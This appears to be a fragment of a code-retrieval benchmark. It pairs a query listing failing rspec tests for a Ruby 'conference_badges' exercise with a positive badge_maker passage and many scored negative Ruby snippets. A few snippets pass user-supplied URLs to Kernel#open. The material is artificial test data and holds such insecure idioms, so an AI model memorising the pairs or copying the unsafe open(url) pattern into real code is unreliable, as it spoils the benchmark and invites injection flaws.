"text": "def save\n @image.save\n end",
"title": ""
},
{
"docid": "990ddd4a4adc1443d6abf25cfbee4211",
"score": "0.5796526",
"text": "def save\n unless saved? || @contents.nil? || @name.nil?\n response = client.create_file(@name, @contents, @mime_type)\n unless response.error?\n result = response.result\n @name = result[FIELD_NAME] || File.basename(result[FIELD_URL])\n @url = result[FIELD_URL]\n end\n end\n saved?\n end",
"title": ""
},
{
"docid": "e93e4bccb5f109002f51229990387000",
"score": "0.579428",
"text": "def picture_from_url(url)\n self.avatar = open(url)\n end",
"title": ""
},
{
"docid": "8f88adf35869b4b137406ab07a083f90",
"score": "0.5759615",
"text": "def filepath(url)\n hsh = hash url\n path_h(hsh) + filename_h(hsh)\n end",
"title": ""
},
{
"docid": "5171689eb9bbb3fba1792b772983f93d",
"score": "0.575589",
"text": "def save_thumbnail(filename)\n end",
"title": ""
},
{
"docid": "5171689eb9bbb3fba1792b772983f93d",
"score": "0.575589",
"text": "def save_thumbnail(filename)\n end",
"title": ""
},
{
"docid": "99b314de2ac630bf30fdc8e314558dbe",
"score": "0.5750371",
"text": "def photo\n url = params[:url]\n image = @client.http_get(url).body\n send_data image, :disposition => 'inline', :content_type => 'image'\n end",
"title": ""
},
{
"docid": "88930b36644308c9047267fbf11c3a75",
"score": "0.5750174",
"text": "def photo_url\n photo.url\n end",
"title": ""
},
{
"docid": "db667cedb6a85610c5b5f5674c13c748",
"score": "0.574978",
"text": "def download_image(payload_in)\n payload = payload_in\n\n temp_image_name = \"/tmp/temp_image_#{payload[\"id\"]}.jpg\"\n\n File.open(temp_image_name, \"wb\") do |fout|\n open(payload[\"image_url\"]) do |fin|\n IO.copy_stream(fin, fout)\n end\n end\n\n temp_image_name\nend",
"title": ""
},
{
"docid": "e7062b2fc891b1ec706c5d1db47eed10",
"score": "0.5745028",
"text": "def download_image(image)\n url = FlickRaw.url(image)\n Dir.mkdir('tmp') unless File.exists? 'tmp'\n open(url) do |f|\n File.open(\"tmp/#{image['id']}.jpg\",\"wb\") do |file|\n file.puts f.read\n end\n end\n end",
"title": ""
},
{
"docid": "6f60cc76dd0e6d695d5f4b8e93866168",
"score": "0.57437646",
"text": "def photo_url\n photo.url(:small)\n end",
"title": ""
}
] |
eb545a2981b7fba107c455c149dd35d8
|
rspec ./spec/conference_badges_spec.rb:58 conference_badges badge_maker should return a formatted badge rspec ./spec/conference_badges_spec.rb:68 conference_badges batch_badge_creator should return a list of badge messages rspec ./spec/conference_badges_spec.rb:71 conference_badges batch_badge_creator should not hardcode response rspec ./spec/conference_badges_spec.rb:81 conference_badges assign_rooms should return a list of welcome messages and room assignments rspec ./spec/conference_badges_spec.rb:84 conference_badges assign_rooms should not hardcode the response rspec ./spec/conference_badges_spec.rb:97 conference_badges printer should puts the list of badges and room_assignments
|
[
{
"docid": "1ea7fc469642af50538856b29c0fcd1b",
"score": "0.0",
"text": "def badge_maker(name)\n return \"Hello, my name is #{name}.\"\nend",
"title": ""
}
] |
[
{
"docid": "7e052bfa0f334e1603e11156e96a0138",
"score": "0.6301124",
"text": "def test_compliance\n errors = []\n compliance = JSON.load(File.open \"./test_resources/compliance_suite.json\")\n compliance[\"group\"].each do |group|\n group[\"requests\"].each do |request|\n reqjson = request.to_json\n req = ::Google::Showcase::V1beta1::RepeatRequest.decode_json reqjson\n group[\"rpcs\"].each do |rpc_full_name|\n rpc_sym = ruby_rpc_name_from_suite_name rpc_full_name\n begin\n resp = @client.send rpc_sym, req\n refute_nil resp.request\n assert_equal resp.request.name, req.name\n rescue Gapic::Common::Error => err\n errors << [group[\"name\"], rpc_full_name, req, err]\n end\n end\n end\n end\n if errors.any?\n s = \"The following #{errors.count} errors were caught when making the requests: \\n\"\n s += errors.each_with_index.reduce(\"\") do |agg, (err_vec, index)|\n agg += \"#{index+1}/#{errors.count}: Group `#{err_vec[0]}`, RPC `#{err_vec[1]}`\\n\" +\n \"Error: #{err_vec[3]}\\n\" +\n \"Request: #{err_vec[2].to_json}\\n\\n\"\n end\n raise s\n end\n end",
"title": ""
},
{
"docid": "7f75ae9aef9e9a5d472d9c43c0c07c0e",
"score": "0.59550047",
"text": "def run_rspec_matchers_on_task_group(task_group, test)\n if task_group.catch_exception?\n it 'sends the request and throws the expected error' do\n expect(task_group.exception).to match_error(task_group.expected_exception_message)\n end\n\n # 'match' on error description is in the task group definition\n if task_group.has_match_clauses?\n task_group.match_clauses.each do |match|\n it 'contains the expected error in the request response' do\n regexp = if (val = match['match'].values.first.to_s).include?('\\\\s')\n Regexp.new(val.gsub('\\\\\\\\', '\\\\').gsub('/', ''))\n else\n Regexp.new(Regexp.escape(val))\n end\n expect(task_group.exception.message).to match(regexp)\n end\n end\n end\n else\n # 'match' is in the task group definition\n if task_group.has_match_clauses?\n task_group.match_clauses.each do |match|\n it \"has the expected value (#{match['match'].values.join(',')}) in the response field (#{match['match'].keys.join(',')})\" do\n expect(task_group.response).to match_response(match['match'], test)\n end\n end\n end\n\n # 'length' is in the task group definition\n if task_group.has_length_match_clauses?\n task_group.length_match_clauses.each do |match|\n it \"the '#{match['length'].keys.join(',')}' field have the expected length\" do\n expect(task_group.response).to match_response_field_length(match['length'], test)\n end\n end\n end\n\n # 'is_true' is in the task group definition\n if task_group.has_true_clauses?\n task_group.true_clauses.each do |match|\n it \"sends the request and the '#{match['is_true']}' field is set to true\" do\n expect(task_group.response).to match_true_field(match['is_true'], test)\n end\n end\n end\n\n # 'is_false' is in the task group definition\n if task_group.has_false_clauses?\n task_group.false_clauses.each do |match|\n it \"sends the request and the '#{match['is_false']}' field is set to true\" do\n expect(task_group.response).to match_false_field(match['is_false'], test)\n end\n end\n end\n\n # 'gte' is in the task group definition\n if task_group.has_gte_clauses?\n task_group.gte_clauses.each do |match|\n it \"sends the request and the '#{match['gte']}' field is greater than or equal to the expected value\" do\n expect(task_group.response).to match_gte_field(match['gte'], test)\n end\n end\n end\n\n # 'gt' is in the task group definition\n if task_group.has_gt_clauses?\n task_group.gt_clauses.each do |match|\n it \"sends the request and the '#{match['gt']}' field is greater than the expected value\" do\n expect(task_group.response).to match_gt_field(match['gt'], test)\n end\n end\n end\n\n # 'lte' is in the task group definition\n if task_group.has_lte_clauses?\n task_group.lte_clauses.each do |match|\n it \"sends the request and the '#{match['lte']}' field is less than or equal to the expected value\" do\n expect(task_group.response).to match_lte_field(match['lte'], test)\n end\n end\n end\n\n # 'lt' is in the task group definition\n if task_group.has_lt_clauses?\n task_group.lt_clauses.each do |match|\n it \"sends the request and the '#{match['lt']}' field is less than the expected value\" do\n expect(task_group.response).to match_lt_field(match['lt'], test)\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "fad006d72bb34725a93193777ad304f4",
"score": "0.5923283",
"text": "def generate_badges\n # Example badges\n # [](https://travis-ci.org/poise/poise)\n # [](https://rubygems.org/gems/poise)\n # [](https://supermarket.chef.io/cookbooks/poise)\n # [](https://codeclimate.com/github/poise/poise)\n # [](https://codecov.io/github/poise/poise)\n # [](https://gemnasium.com/poise/poise)\n # [](https://www.apache.org/licenses/LICENSE-2.0)\n ''.tap do |badges|\n github = options[:github] || detect_github\n badges << badge('Build Status', \"travis/#{github}\", \"https://travis-ci.org/#{github}\") if github\n badges << badge('Gem Version', \"gem/v/#{gemspec.name}\", \"https://rubygems.org/gems/#{gemspec.name}\")\n badges << badge('Cookbook Version', \"cookbook/v/#{cookbook.cookbook_name}\", \"https://supermarket.chef.io/cookbooks/#{cookbook.cookbook_name}\") if cookbook.is_halite_cookbook?\n badges << badge('Code Climate', \"codeclimate/github/#{github}\", \"https://codeclimate.com/github/#{github}\") if github\n badges << badge('Coverage', \"codecov/c/github/#{github}\", \"https://codecov.io/github/#{github}\") if github\n badges << badge('Gemnasium', \"gemnasium/#{github}\", \"https://gemnasium.com/#{github}\") if github\n badges << badge('License', 'badge/license-Apache_2-blue', 'https://www.apache.org/licenses/LICENSE-2.0')\n end\n end",
"title": ""
},
{
"docid": "a8497144615c442e297b462658f5d9e6",
"score": "0.5824206",
"text": "def printer(attendees)\n batch_badge_creator(attendees).each do |badge|\n puts badge\n end\n\n #badges = batch_badge_creator\n #badges.each |badge|\n #badge\n #end\n\n assign_rooms(attendees).each do |assignment|\n puts assignment\n end\nend",
"title": ""
},
{
"docid": "3023e50b1b9375fb3df8561f1276ded3",
"score": "0.56730145",
"text": "def test_reward_badge\n perform_message \"Reward\", :account => \"@radiospiel\", :badge => \"badge\"\n assert_equal(User[\"@radiospiel\"].badges, %w(badge))\n\n perform_message \"Reward\", :account => \"@radiospiel\", :badge => \"other\"\n assert_equal(User[\"@radiospiel\"].badges, %w(badge other))\n end",
"title": ""
},
{
"docid": "a086cec13bd35f92e255d2147041fad7",
"score": "0.56399256",
"text": "def test_reports_are_good\n assert_report(:good, :foo => 'bar')\n\n assert_report(:good,\n {:method => 'GET', :path => '/people/1'},\n {:method => 'GET', :path => '/messages/1'},\n {:method => 'POST', :path => '/comments'}\n )\n\n assert_report(:good,\n {:method => 'GET', :path => '/people'},\n {:method => 'GET', :path => '/posts'},\n {:method => 'GET', :path => '/messages'},\n {:method => 'GET', :path => '/comments'}\n )\n end",
"title": ""
},
{
"docid": "2170c1b699ad336e634a3f64b62f6a56",
"score": "0.56244034",
"text": "def printer(attendees)\n\n assign_rooms(attendees).each do |room_assignment|\n # .push(\"#{attendees}\")\n\n puts room_assignment\n end\n batch_badge_creator(attendees).each do |badge|\n\n puts badge\n end\n#puts \"#{badges_and_room_assignments}\"\n end",
"title": ""
},
{
"docid": "29b4ab74775b831bcc370193d2136986",
"score": "0.5606386",
"text": "def printer(attendees)\n \n # print_b_b_c = batch_badge_creator(attendees)\n \n batch_badge_creator(attendees).each {|message| puts message}\n \n # print_b_b_c.each {|message| puts message}\n \n # print_assign_rooms = assign_rooms(attendees)\n \n assign_rooms(attendees).each {|message| puts message}\n \n # print_assign_rooms.each {|message| puts message}\n \n# binding.pry\n \n# attendees.map do |attendee| \n# badge_maker(attendee)\n# end\n \n# attendees.map.with_index {|name, room| \"Hello, #{name}! You'll be assigned to room #{room + 1}!\"}\n \n \nend",
"title": ""
},
{
"docid": "7fcbe10daae90414db0d09446b25474c",
"score": "0.55885",
"text": "def test_prometheus_metrics\n setup_gce_metadata_stubs\n [\n # Single successful request.\n [false, 0, 1, 1, [1, 0, 1, 0, 0]],\n # Several successful requests.\n [false, 0, 2, 1, [2, 0, 2, 0, 0]],\n # Single successful request with several entries.\n [false, 0, 1, 2, [1, 0, 2, 0, 0]],\n # Single failed request that causes logs to be dropped.\n [true, 16, 1, 1, [0, 1, 0, 1, 0]],\n # Single failed request that escalates without logs being dropped with\n # several entries.\n [true, 13, 1, 2, [0, 1, 0, 0, 2]]\n ].each do |should_fail, code, request_count, entry_count, metric_values|\n setup_prometheus\n (1..request_count).each do\n setup_logging_stubs(should_fail, code, 'SomeMessage') do\n d = create_driver(USE_GRPC_CONFIG + PROMETHEUS_ENABLE_CONFIG, 'test',\n GRPCLoggingMockFailingService.rpc_stub_class)\n (1..entry_count).each do |i|\n d.emit('message' => log_entry(i.to_s))\n end\n # rubocop:disable Lint/HandleExceptions\n begin\n d.run\n rescue GRPC::BadStatus\n end\n # rubocop:enable Lint/HandleExceptions\n end\n end\n successful_requests_count, failed_requests_count,\n ingested_entries_count, dropped_entries_count,\n retried_entries_count = metric_values\n assert_prometheus_metric_value(:stackdriver_successful_requests_count,\n successful_requests_count, grpc: true)\n assert_prometheus_metric_value(:stackdriver_failed_requests_count,\n failed_requests_count,\n grpc: true, code: code)\n assert_prometheus_metric_value(:stackdriver_ingested_entries_count,\n ingested_entries_count)\n assert_prometheus_metric_value(:stackdriver_dropped_entries_count,\n dropped_entries_count)\n assert_prometheus_metric_value(:stackdriver_retried_entries_count,\n retried_entries_count, code: code)\n end\n end",
"title": ""
},
{
"docid": "7546344015478a9e093479715693751b",
"score": "0.55747753",
"text": "def test_print_status_multiples\n\tassert_raises(\"ERROR: Cannot have a negative number of rubies or fake_rubies.\\n\") {@g.print_status(-2,-3,\"Enumerated Canyon\")}\n end",
"title": ""
},
{
"docid": "c71f252a430974806333649304fabc8d",
"score": "0.5573235",
"text": "def check_for_badges!\n skill_level = self.skill_level.name_key.to_sym\n\n # BEGINNER\n if skill_level == :beginner && self.tutorial_done?\n self.add_badge(1)\n end\n \n if skill_level == :beginner && self.tier_ratings(:intermediate, true) >= 1\n self.add_badge(8)\n end\n\n if skill_level == :beginner && (self.tier_ratings(:intermediate, true) >= 2 && self.critiquers(:intermediate) >= 2)\n self.add_badge(9)\n end\n\n if skill_level == :beginner && self.projects.count >= 1\n self.add_badge(3)\n end\n\n if skill_level == :beginner && self.projects.count >= 2\n self.add_badge(4)\n end\n\n if skill_level == :beginner && self.critique_ratings_count(:intermediate, true) >= 3\n self.add_badge(12)\n end\n\n # INTERMEDIATE BADGES\n if skill_level == :intermediate && self.projects.count >= 4\n self.add_badge(5)\n end\n\n if skill_level == :intermediate && self.tier_ratings(:advanced, true) >= 1\n self.add_badge(10)\n end\n\n if skill_level == :intermediate && (self.tier_ratings(:advanced, true) >= 2 && self.critiquers(:advanced) >= 2)\n self.add_badge(11)\n end \n \n if skill_level == :intermediate && self.critique_ratings_count(:advanced, true) >= 3\n self.add_badge(13)\n end\n end",
"title": ""
},
{
"docid": "51dde20da6602c2ec7d873a43243d32e",
"score": "0.5568922",
"text": "def test_1_to_9_rubies_defeat_msg\n lazy_miner = Prospector.new(0, @dummy_location, 0, rubies = 5, fakes = 100)\n assert_output (\"Going home sad.\\n\") {\n lazy_miner.declare_victory?\n }\n end",
"title": ""
},
{
"docid": "95c8b7d043c27f894a27595e1e348073",
"score": "0.5538123",
"text": "def test_recalculation_for_rejecting_itl_updates_from_promo\n # Setup\n @user = setup_user\n\n update_itl_points = @promo['UpdateListingItlPoints']\n my_teams = [@promo['TeamNames'].pop]\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_teams'] = my_teams\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n listings = get_promo_listings.shuffle\n assert(listings.length >= 5)\n\n # Step 1 (a)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n promo = @parsed_response['promo']\n assert_equal(@active_promo_id, promo['id'])\n assert(@parsed_response['user_stats'])\n assert_equal(0, @parsed_response['user_stats']['contributed_points'])\n\n # Step 1 (b)\n params = {\n 'promo_id' => @active_promo_id,\n 'access_token' => @user.oauth_token,\n 'api_key' => @api_key\n }\n\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_stats = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n refute_nil(team_stats, @parsed_response['leaderboard'])\n assert(team_stats['contributed_points'])\n\n # Step 2 (a)\n assign_http(Config['panda']['host'])\n\n params = {\n 'listing_improvement' => {\n 'user_id' => @user.id,\n 'promo_id' => @active_promo_id,\n 'int_xxid' => \"#{listings[0]['Int_Xxid']}\",\n 'zip' => '12345'\n }.to_json # '/listing_improvement' requires this as json\n }\n\n post '/listing_improvement', params\n assert_response(@response, :success)\n assert(@parsed_response['id'],\n \"Expected id to be returned with listing improvement response: #{@parsed_response}\")\n itl_ids = [@parsed_response['id']]\n assert_equal(\"#{listings[0]['Int_Xxid']}\".to_i, @parsed_response['int_xxid'])\n assert_equal(@user.id, @parsed_response['user_id'])\n assert_equal(@active_promo_id, @parsed_response['promo_id'])\n assert_equal('12345', @parsed_response['zip'])\n assert_equal(update_itl_points, @parsed_response['points'])\n assert_nil(@parsed_response['status'],\n \"Expected Status to be nil for initial itl update: #{@parsed_response['status']}\")\n refute_nil(@parsed_response['promo_user_team_ids'], @parsed_response) unless ENV['test_env'] == 'stage' # AS 5.0 ~ AS-7418\n\n # Step 2 (b)\n params = {\n 'promo_id' => @active_promo_id,\n 'listing_improvement_ids' => itl_ids,\n 'status' => 'manual_approved'\n }\n\n put '/pros/itl', params\n assert_response(@response, :success)\n\n # Step 2 (c)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id, @parsed_response['promo']['id'])\n assert(@parsed_response['user_stats'])\n assert_equal(update_itl_points, @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{update_itl_points} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal((promo['contributed_points'] + update_itl_points), @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{(promo['contributed_points'] + update_itl_points)} to equal: #{@parsed_response['promo']['contributed_points']}\")\n\n user_stats = @parsed_response['user_stats'].dup\n promo = @parsed_response['promo'].dup\n\n # Step 2 (d)\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n assert_equal((team_stats['contributed_points'] + update_itl_points), team_check['contributed_points'],\n \"Expected team contributed points #{(team_stats['contributed_points'] + update_itl_points)} to equal: #{team_check['contributed_points']}\")\n\n team_stats = team_check\n user_stats_check = nil\n promo_check = nil\n\n # Step 3 (a)\n assign_http(Config['panda']['host'])\n\n params = {\n 'listing_improvement' => {\n 'user_id' => @user.id,\n 'promo_id' => @active_promo_id,\n 'int_xxid' => \"#{listings[1]['Int_Xxid']}\",\n 'zip' => '23456'\n }.to_json # '/listing_improvement' requires this as json\n }\n\n post '/listing_improvement', params\n assert_response(@response, :success)\n assert(@parsed_response['id'],\n \"Expected id to be returned with listing improvement response: #{@parsed_response}\")\n itl_ids = [@parsed_response['id']]\n assert_equal(\"#{listings[1]['Int_Xxid']}\".to_i, @parsed_response['int_xxid'])\n assert_equal(@user.id, @parsed_response['user_id'])\n assert_equal(@active_promo_id, @parsed_response['promo_id'])\n assert_equal('23456', @parsed_response['zip'])\n assert_equal(update_itl_points, @parsed_response['points'])\n assert_nil(@parsed_response['status'],\n \"Expected Status to be nil for initial itl update: #{@parsed_response['status']}\")\n refute_nil(@parsed_response['promo_user_team_ids'], @parsed_response) unless ENV['test_env'] == 'stage' # AS 5.0 ~ AS-7418\n\n # Step 3 (b,e,h)\n ['approved', 'rejected', 'manual_rejected'].each do |status|\n assign_http(Config['panda']['host'])\n\n params = {\n 'promo_id' => @active_promo_id,\n 'listing_improvement_ids' => itl_ids,\n 'status' => status\n }\n\n put '/pros/itl', params\n assert_response(@response, :success)\n\n # Step 3 (c,f,i)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id, @parsed_response['promo']['id'])\n assert(@parsed_response['user_stats'])\n if status == 'approved'\n assert_equal((user_stats['contributed_points'] + update_itl_points), @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{(user_stats['contributed_points'] + update_itl_points)} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal((promo['contributed_points'] + update_itl_points), @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{(promo['contributed_points'] + update_itl_points)} to equal: #{@parsed_response['promo']['contributed_points']}\")\n else\n assert_equal(user_stats['contributed_points'], @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{user_stats['contributed_points']} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal(promo['contributed_points'], @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{promo['contributed_points']} to equal: #{@parsed_response['promo']['contributed_points']}\")\n end\n\n user_stats_check = @parsed_response['user_stats'].dup\n promo_check = @parsed_response['promo'].dup\n\n # Step 3 (d,g,j)\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n refute_nil(team_check, @parsed_response['leaderboard'])\n if status == 'approved'\n assert_equal((team_stats['contributed_points'] + update_itl_points), team_check['contributed_points'],\n \"Expected team contributed points #{(team_stats['contributed_points'] + update_itl_points)} to equal: #{team_check['contributed_points']}\")\n else\n assert_equal(team_stats['contributed_points'], team_check['contributed_points'],\n \"Expected team contributed points #{team_stats['contributed_points']} to equal: #{team_check['contributed_points']}\")\n end\n end\n\n user_stats = user_stats_check\n promo = promo_check\n team_stats = team_check\n\n # Step 4 (a)\n assign_http(Config['panda']['host'])\n\n params = {\n 'listing_improvement' => {\n 'user_id' => @user.id,\n 'promo_id' => @active_promo_id,\n 'int_xxid' => \"#{listings[2]['Int_Xxid']}\",\n 'zip' => '34567'\n }.to_json # '/listing_improvement' requires this as json\n }\n\n post '/listing_improvement', params\n assert_response(@response, :success)\n assert(@parsed_response['id'],\n \"Expected id to be returned with listing improvement response: #{@parsed_response}\")\n itl_ids = [@parsed_response['id']]\n assert_equal(\"#{listings[2]['Int_Xxid']}\".to_i, @parsed_response['int_xxid'])\n assert_equal(@user.id, @parsed_response['user_id'])\n assert_equal(@active_promo_id, @parsed_response['promo_id'])\n assert_equal('34567', @parsed_response['zip'])\n assert_equal(update_itl_points, @parsed_response['points'])\n assert_nil(@parsed_response['status'],\n \"Expected Status to be nil for initial itl update: #{@parsed_response['status']}\")\n refute_nil(@parsed_response['promo_user_team_ids'], @parsed_response) unless ENV['test_env'] == 'stage' # AS 5.0 ~ AS-7418\n\n # Step 4 (b,e,h)\n ['rejected', 'manual_rejected', 'approved'].each do |status|\n assign_http(Config['panda']['host'])\n\n params = {\n 'promo_id' => @active_promo_id,\n 'listing_improvement_ids' => itl_ids,\n 'status' => status\n }\n\n put '/pros/itl', params\n assert_response(@response, :success)\n\n # Step 4 (c,f,i)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id, @parsed_response['promo']['id'])\n assert(@parsed_response['user_stats'])\n if status == 'approved'\n assert_equal((user_stats['contributed_points'] + update_itl_points), @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{(user_stats['contributed_points'] + update_itl_points)} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal((promo['contributed_points'] + update_itl_points), @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{(promo['contributed_points'] + update_itl_points)} to equal: #{@parsed_response['promo']['contributed_points']}\")\n else\n assert_equal(user_stats['contributed_points'], @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{user_stats['contributed_points']} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal(promo['contributed_points'], @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{promo['contributed_points']} to equal: #{@parsed_response['promo']['contributed_points']}\")\n end\n\n user_stats_check = @parsed_response['user_stats'].dup\n promo_check = @parsed_response['promo'].dup\n\n # Step 4 (d,g,j)\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n refute_nil(team_check, @parsed_response['leaderboard'])\n if status == 'approved'\n assert_equal((team_stats['contributed_points'] + update_itl_points), team_check['contributed_points'],\n \"Expected team contributed points #{(team_stats['contributed_points'] + update_itl_points)} to equal: #{team_check['contributed_points']}\")\n else\n assert_equal(team_stats['contributed_points'], team_check['contributed_points'],\n \"Expected team contributed points #{team_stats['contributed_points']} to equal: #{team_check['contributed_points']}\")\n end\n end\n\n user_stats = user_stats_check\n promo = promo_check\n\n # Step 5 (a)\n my_teams.push(@promo['TeamNames'].pop)\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_teams'] = my_teams\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n # Step 5 (b)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_stats = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n team_2_stats = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[1] }\n assert(team_stats, @parsed_response['leaderboard'])\n assert(team_2_stats, @parsed_response['leaderboard'])\n\n # Step 5 (c)\n assign_http(Config['panda']['host'])\n\n params = {\n 'listing_improvement' => {\n 'user_id' => @user.id,\n 'promo_id' => @active_promo_id,\n 'int_xxid' => \"#{listings[3]['Int_Xxid']}\",\n 'zip' => '34567'\n }.to_json # '/listing_improvement' requires this as json\n }\n\n post '/listing_improvement', params\n assert_response(@response, :success)\n assert(@parsed_response['id'],\n \"Expected id to be returned with listing improvement response: #{@parsed_response}\")\n itl_ids = [@parsed_response['id']]\n assert_equal(\"#{listings[3]['Int_Xxid']}\".to_i, @parsed_response['int_xxid'])\n assert_equal(@user.id, @parsed_response['user_id'])\n assert_equal(@active_promo_id, @parsed_response['promo_id'])\n assert_equal('34567', @parsed_response['zip'])\n assert_equal(update_itl_points, @parsed_response['points'])\n assert_nil(@parsed_response['status'],\n \"Expected Status to be nil for initial itl update: #{@parsed_response['status']}\")\n refute_nil(@parsed_response['promo_user_team_ids'], @parsed_response) unless ENV['test_env'] == 'stage' # AS 5.0 ~ AS-7418\n\n # Step 5 (d,g)\n calc_itl_points = ((update_itl_points.fdiv(my_teams.length)).ceil * my_teams.length)\n split_team_points = calc_itl_points.div(my_teams.length)\n\n ['approved', 'rejected'].each do |status|\n assign_http(Config['panda']['host'])\n\n params = {\n 'promo_id' => @active_promo_id,\n 'listing_improvement_ids' => itl_ids,\n 'status' => status\n }\n\n put '/pros/itl', params\n assert_response(@response, :success)\n\n # Step 5 (e,h)\n assign_http(Config['snake']['host'])\n\n params = {\n 'access_token' => @user.oauth_token,\n 'promo_id' => @active_promo_id,\n 'api_key' => @api_key\n }\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id, @parsed_response['promo']['id'])\n assert(@parsed_response['user_stats'])\n if status == 'approved'\n assert_equal((user_stats['contributed_points'] + calc_itl_points), @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{(user_stats['contributed_points'] + calc_itl_points)} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal((promo['contributed_points'] + calc_itl_points), @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{(promo['contributed_points'] + calc_itl_points)} to equal: #{@parsed_response['promo']['contributed_points']}\")\n else\n assert_equal(user_stats['contributed_points'], @parsed_response['user_stats']['contributed_points'],\n \"Expected user contributed points #{user_stats['contributed_points']} to equal: #{@parsed_response['user_stats']['contributed_points']}\")\n assert_equal(promo['contributed_points'], @parsed_response['promo']['contributed_points'],\n \"Expected promo contributed points #{promo['contributed_points']} to equal: #{@parsed_response['promo']['contributed_points']}\")\n end\n\n # Step 5 (f,i)\n get '/pros/leaderboard', params\n assert_response(@response, :success)\n assert(@parsed_response['promo'])\n assert_equal(@active_promo_id , @parsed_response['promo']['id'])\n refute_empty(@parsed_response['leaderboard'])\n team_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[0] }\n team_2_check = @parsed_response['leaderboard'].find { |team| team['name'] == my_teams[1] }\n refute_nil(team_check, @parsed_response['leaderboard'])\n refute_nil(team_2_check, @parsed_response['leaderboard'])\n if status == 'approved'\n assert_equal((team_stats['contributed_points'] + split_team_points), team_check['contributed_points'],\n \"Expected team contributed points #{(team_stats['contributed_points'] + split_team_points)} to equal: #{team_check['contributed_points']}\")\n assert_equal((team_2_stats['contributed_points'] + split_team_points), team_2_check['contributed_points'],\n \"Expected team contributed points #{(team_2_stats['contributed_points'] + split_team_points)} to equal: #{team_2_check['contributed_points']}\")\n else\n assert_equal(team_stats['contributed_points'], team_check['contributed_points'],\n \"Expected team contributed points #{team_stats['contributed_points']} to equal: #{team_check['contributed_points']}\")\n assert_equal(team_2_stats['contributed_points'], team_2_check['contributed_points'],\n \"Expected team contributed points #{team_2_stats['contributed_points']} to equal: #{team_2_check['contributed_points']}\")\n end\n end\n\n user_stats = user_stats_check\n promo = promo_check\n\n # Step 6 (a)\n assign_http(Config['panda']['host'])\n\n params = {\n 'listing_improvement' => {\n 'user_id' => @user.id,\n 'promo_id' => @active_promo_id,\n 'int_xxid' => \"#{listings[4]['Int_Xxid']}\",\n 'zip' => '34567'\n }.to_json # '/listing_improvement' requires this as json\n }\n\n post '/listing_improvement', params\n assert_response(@response, :success)\n assert(@parsed_response['id'],\n \"Expected id to be returned with listing improvement response: #{@parsed_response}\")\n itl_ids = [@parsed_response['id']]\n 